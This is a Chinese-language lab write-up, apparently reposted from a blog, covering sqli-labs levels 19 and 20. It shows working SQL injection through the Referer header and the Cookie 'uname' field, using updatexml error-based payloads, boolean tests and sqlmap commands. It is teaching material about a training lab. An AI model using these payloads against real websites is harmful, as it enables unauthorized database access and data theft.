文章总结: 本文详细解析sqli-labs第19至20关的进阶SQL注入技巧。第19关演示基于Referer头的INSERT型报错注入,利用updatexml构造闭合Payload获取数据。第20关针对Cookie参数,分析后端混合执行的SELECT与UPDATE语句逻辑,分别实施布尔盲注与报错注入。文章强调渗透测试需关注请求全要素,还原后端执行逻辑是漏洞挖掘的核心。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞分析
从 Header 到 Cookie:sqli-labs 19~20 关的进阶注入思维
武文学网安
2026年1月12日 00:31 西藏
大家好,我是武文。
在第 18 关中,我第一次遇到这样一种情况:页面参数全部安全,但 SQL 注入点却藏在 HTTP Header 中。第 18 关让我意识到一个关键问题: SQL 注入不只发生在“参数里”,而是发生在“请求中”。而第 19、20 关,正是在这个基础上的进一步升级。
一、第19关:注入不再死板,学会举一反三
因为昨天的教训,我们不再死板的盯着username/password,亦或者User-Agent。既然是SQL注入,理论上,只要用户可控的数据参与了数据库操作,且未被正确过滤,就可能成为注入点。先对页面情况测试,分别尝试错误的和正确的账号密码,观察页面变化。
当输入错误的账号密码时,页面显示
当输入正确的账号密码时,admin:admin
页面显示成功登录,同时,还显示了Your IP ADDRESS is: 172.17.0.1 Your Referer is: http://192.168.68.172:8080/Less-19/
通过过查阅header相关资料发现,referer是一个请求头的信息,包含了当前请求页面的来源页面的地址。资料来源参考:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Referer
结合昨天学到的header注入,由于页面在登录成功后主动回显了 Your Referer is: …,说明该字段被后端读取并参与了业务处理,而这类“被记录的信息”正是 Header 注入最常见的入口。有理由怀疑注入参数大概率就是referer。让我们先手动测试注入点。
首先利用Burp suite抓包进行注入点测试。(这里是假设前面的url和payload注入方式都已判断失效哈,节约时间)
Referer:'
这里能明显看到单引号引入导致了语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘172.17.0.1’)’
再头铁尝试一下构造真假语句看效果:
referer:' and 1=1 #referer:' or 1=1 #referer: #
再’ and 1=1#报错,You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 1
这里可以猜测大概率后端SQL语句非查询语句,而是插入语句:
INSERT INTO referers (referer, ip_address, username)VALUES ('Referer内容', 'IP', 'admin');或者INSERT INTO logs (username, referer)VALUES ('admin', 'Referer内容');
‘ and 1=1在下面的场景中合法:
SELECT * FROM users WHERE username='xxx' and 1=1;
但当在VALUES场景下,注入后,SQL实际变成:
INSERT INTO referers (...)VALUES ('' and 1=1 #', 'IP', 'admin');
本质原因在于: VALUES 中只能是“值表达式”,而不是条件判断语句。
既然我们确认
- 是INSERT,
# 被当作字符串,无法注释和闭合语法。因为在 INSERT 的 VALUES 场景中,当前 payload 仍然位于字符串上下文中,# 并未跳出 SQL 结构,因此不会被解析为注释符,而只是普通字符- 通过逻辑判断方法无效。
我们则需要构造一个必然报错的SQL函数,并把数据拼进错误信息,这与第18关一样。SQL注入实战——HTTP Header注入,新的注入思路
需要做到的三件事:
- 关闭当前字符串
- 执行一个会报错的表达式
- 再补一个字符串,保证 VALUES 语法完整
可行的Payload
Referer:' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
注入后SQL实际形态:
INSERT INTO referers (referer, ip_address, username)VALUES ( '' and updatexml(1,concat(0x7e,database(),0x7e),1) and '', '172.17.0.1', 'admin');
这里有几个关键点:
updatexml()必然报错concat()把database()拼进错误信息- 两侧的
'是为了 修复 VALUES 语法 and在这里是布尔表达式连接,不是 WHERE
👉 所以这在 INSERT 中是合法的表达式结构
下面进行实战测试:
再用sqlmap自动化验证:
1、将burp suite抓取到的请求内容复制零存为req.txt
2、输入命令
python sqlmap.py -r "C:\Users\demon\Desktop\security\req.txt" --batch -p Referer --level=5 --risk=3
sqlmap也能跑出error-based的注入方式。
二、第 20 关:从 Header 进入 Cookie
如果说第 19 关考察的是“是否能从请求头中识别新的注入入口”,那么第 20 关则更进一步,引入了业务逻辑与多条 SQL 并存的真实场景。
为什么说第 20 关更危险?
因为这一次,注入点在:Cookie
这意味着:
- 每次请求都会自动携带
- 开发极易忽略安全校验
- 与用户身份、状态强绑定
相比 Header,Cookie 更“隐蔽”,也更贴近真实 Web 应用。
我们先来看正确登陆后的页面状态:
页面反馈了我们登录的cookie状态。
通过burp suite抓包查看信息。这里注意我们看
在输入账号密码登陆时,服务端返回了一个Set-Cookie: uname=admin; expires=Sun, 11-Jan-2026 12:33:32 GMT; Max-Age=3600 这是指定了cookie的有效时间。
而在后面的GET请求中则可以看到我们的header中就包含了Cookie:uname=admin
这里我尝试
Cookie:uname='
发现cookie中的数据是直接拼接到SQL语句中,从而引入了SQL报错。这里其实并不能确定后台数据是查询还是插入。于是我继续用以前的方法尝试:
Cookie:uname=' or 1=1 # Cookie:uname=' and 1=1 #Cookie:uname=' and 1=2 #
当uname=’ or 1=1#,能够正常显示,推测后端执行了查询语句,而当uname=’ and 1=1#,和uname=’ and 1=2#,虽然能够显示出cookie,但下面都显示异常:bug off you silly dumb hacker。所以这里可以大胆推测后端执行了两条语句,一条是select查询语句,一条是insert或者update更新语句。后端最合理的执行流程应该是如下四步:
1、从cookie中取出uname值
2、用uname查询用户:这一步决定是否有正确用户,因为正确登录和错误登录会有不同页面,所以这是布尔盲注生效的地方。
3、记录/更新Cookie(Insert或update):这一步主要是记录访问,或刷新会话状态,或维持当前用户cookie生命周期。
4、重新set-cookie
我们需要来判断到底哪条语句可以利用。
判断可利用的 SQL 语句位置
从前面的现象可以确定:
- SELECT 查询语句
决定了页面是否显示正常用户信息,是否返回
BUG OFF YOU SILLY DUMB HACKER→ 这是一个典型的布尔盲注利用点 - INSERT / UPDATE 语句 负责记录或更新 Cookie 状态 → 即使 SELECT 查询失败,这一步依然会执行
也就是说,这一关中:SELECT 用来“判断真假”,INSERT / UPDATE 用来“维持状态”。因此,真正可控、可用于数据判断的,是 SELECT 查询语句。
再次尝试能否像前两关一样利用显错注入。构造payload
Cookie:uname=' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
实践发现,依然可以利用XPATH显错注入。
我们再次利用sqlmap来进行验证我们的判断:
在 Cookie 注入场景下,需要显式告诉 sqlmap 从 Cookie 中取参数,否则很容易漏掉注入点。(小坑注意一下:我测试用默认的参数而未指明时明显测不出来)
python sqlmap.py -u "http://localhost:8080/Less-20" --cookie="uname=admin" --batch --level=2 --risk=2
可以看到当前关卡存在多种注入方式。
结语
从第 18 关到第 20 关,SQL 注入的“注入点”不断变化:从参数,到 Header,再到 Cookie。
但真正变化的,并不是 payload,而是思考方式。
第 19 关让我学会:不要只盯着输入框,而要看整个请求。
第 20 关则进一步让我意识到: 一次请求中,可能同时存在多条 SQL 语句,而页面表现只反映了其中一部分结果。
也正是从这一阶段开始,我逐渐明白—— SQL 注入的核心,不是技巧,而是还原后端的执行逻辑。
这,才是真正接近实战的地方。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 《从 Header 到 Cookie:sqli-labs 19~20 关的进阶注入思维》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论